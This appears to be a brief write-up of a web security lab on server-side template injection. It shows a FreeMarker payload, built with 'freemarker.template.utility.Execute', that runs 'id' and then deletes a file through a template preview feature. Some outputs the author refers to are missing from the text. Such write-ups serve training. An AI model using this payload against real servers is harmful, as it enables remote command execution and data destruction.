Going on the webpage and clicking on one of the items lets us reflect user input by clicking edit template and then preview

^this generates nothing, I assume one of them is causing an error and so I tested individually getting

^this looks like a javascript frame work

I tried fuzzing it with this and got an error

using chatgpt to search through the docs I get: ```

${ "freemarker.template.utility.Execute"?new()("id") }

which when previewed gets us

which works!

running preview on

${ "freemarker.template.utility.Execute"?new()("rm morale.txt") }

gets us the win!.

overall super simple lab.
